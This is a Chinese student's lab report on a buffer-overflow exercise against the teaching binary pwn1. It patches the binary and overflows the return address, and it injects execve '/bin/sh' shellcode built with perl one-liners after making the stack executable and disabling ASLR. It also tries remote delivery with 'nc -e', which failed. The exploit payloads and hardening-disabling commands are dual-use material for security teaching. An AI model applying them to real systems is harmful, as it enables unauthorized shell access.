1.实验内容
本次式样具体内容是通过三种方法,运行pwn1可执行文件,调用getshell。
缓冲区溢出作为一种非常致命的攻击,它会使攻击者直接破坏堆栈保护,非法获取数据。
完成本次实验,需要具备以下知识和技能基础:
- 创建kali虚拟机,连接网络等
这个部分对我来说还是出现了比较大的波折,我的操作系统是macos(架构为arm64),比较合适使用的是Parallels Desktop。下载了对应的kali映像,直到kali系统启用这一步都十分顺利。天有不测风云,拖拽文件以及复制粘贴的功能都没有,于是噩梦开始了,查找相关资料,需要下载PDtools(与VMware一样的)但是!!!他mac本情况太复杂了,每次下载都会出现同样的报错,下载的进程永远以一个大大的红红的ERROR结束。整个十一假期都是在于PDtools相互折磨,之后我又尝试在VMware Fusion下创建kali,下载之后直接黑屏。我只好接着把矛头指向PD,换个思路,利用U盘将pwn1文件导入进来,但是运行#~objdump -d pwn1 | more之后需要下载objdump 下载也总是报错。到这个阶段抓狂的我将魔爪伸向了身边的同学,感谢20222314czy同学大义凛然,借我电脑,江湖救急,所以这次实验是借了一台windows设备完成的,希望下次实验二之前自己能让自己的mac派上用场。
至于下载的教程,官网下载对应映像,然后创建虚拟机,无脑下一步。
用了备用机之后出现了网络连接异常的问题,参考了CSDN上的解决办法,手动增加了一个接口,成功解决! - Linux基础知识
要了解掌握基本的shell命令(例如:ls、cd、cp、touch、cat、su等等),熟练使用调试器gdb,尤其是gdb调试指令(例如:设置断点break/clear、 启用/禁用断点enable/disable、运行程序run、继续运行continue、单步代码跟入函数step、查看各类信息info、显示调用栈backtrack等)。 - 能够理解汇编语言
查看pwn1文件,会看到各种各样的汇编指令(例如:PUSH、POP、JMP、CALL、LEAVE、RET),同时也要熟知esp、ebp、eip等寄存器中信息的作用。 - 了解shellcode技术
shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。要特别注意,当shellcode 中出现‘\r’, ‘\n’,0x00等字符时,代码将终止运行。例如,当’Null Bytes’(如0x00值)被读取时,CPU会将它识别为字符串的结束(Null Terminator)。
2.实验过程
2.1.1. 查看pwn1反汇编信息
objdump -d pwn1 | more
|:管道符号,将前一个命令的输出作为后一个命令的输入
more:用于分页查看文本文件内容的程序
通过汇编信息,我们可以大概的了解一下这个程序文件的运行思路。main函数中,"call 8048491 "是汇编指令,这条指令将调用位于地址8048491处的foo函数;其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
2.1.2. 修改pwn1
cp pwn1 pwn2
0xd7ffffff是0x8048491的补码
我们需要将call(foo)改为call (getshell)
就是要将d7ffffff(8048491)改为c3ffffff(804847d)
查看一下pwn2文件,修改成功!
之后运行一下
./pwn2
2.2.1 BOF攻击实践
查看反编译信息,
2.2.2 确认输入字符串哪几个字符会覆盖到返回地址
需要通过实验确定存储是小端还是大端存储
2.2.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将input的输入,通过管道符“|”,作为pwn1的输入。
(cat input; cat) | ./pwn1
2.2.4 注入shellcode攻击
前期准备,调整系统设置,是攻击成功的关键
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
要找一下堆栈返回地址的位置,然后再用shellcode的地址将其覆盖。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
开另外一个终端,使用gdb设置断点,查看内存地址
ps -ef | grep pwn1
gdb
(gdb)disassemble foo
(gdb) break *0x080484ae
(gdb) c//注意这时在另外一个终端中按下回车,提交,让进程继续走
(gdb) info r esp
shellcode结束的位置是(01020304)0x0xffb12060
修改input—shellcode文件
perl -e 'print "A" x 32;print "\x60\x20\xb1\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
shellcode注入后,我们可以打开一个shell,可以看到BOF攻击成功!
输入ls,可以看到文件
2.3 结合nc模拟远程攻击
主机1是我刚刚实验一直使用的虚拟机,主机2是同一物理机上的另一个虚拟机。
nc -l 172.20.10.2 -p 28234 -e ./pwn1
(cat input_shellcode; cat) | nc 172.20.10.2 28234
难过,没有成功,应该是网络连接的问题。
3.问题及解决方案
- 问题1:网络无法连接
- 问题1解决方案:查找CSDN相关博文
- 问题2:下载时apt端口进程占用
- 问题2解决方案:在终端强制取消下载进程。
4.学习感悟、思考等
过程有点艰难,但是成就感很强。这次实验设计的知识点比较多既需要理解汇编语言,也需要理解推入堆栈的整体策略。在进行shellcode注入时,一开始并没有设置成功,导致来回重复了很多次断点查询,反复试验都没有成功,等再次设置系统之后成功,后来经过反思,觉得内存空间的分配真的是一个完全随机的过程,每一次程序执行断点的内存空间都不一样。包括一开始查找shellcode开始地址和结束地址的过程还是比较有意思,但是由于前面的设置都没有成功,所以截图没有全部放出。
经过本次实验,我觉得我分析问题、解决问题的能力获得了比较大的锻炼,但是感觉对于这种攻击方法还只是学习到了一点点皮毛,感觉如果换一个稍微复杂的文件可能就要研究很久。并且对于esp、eip这类参数的理解和运用还不是十分到位,希望日后能更深入学习一下。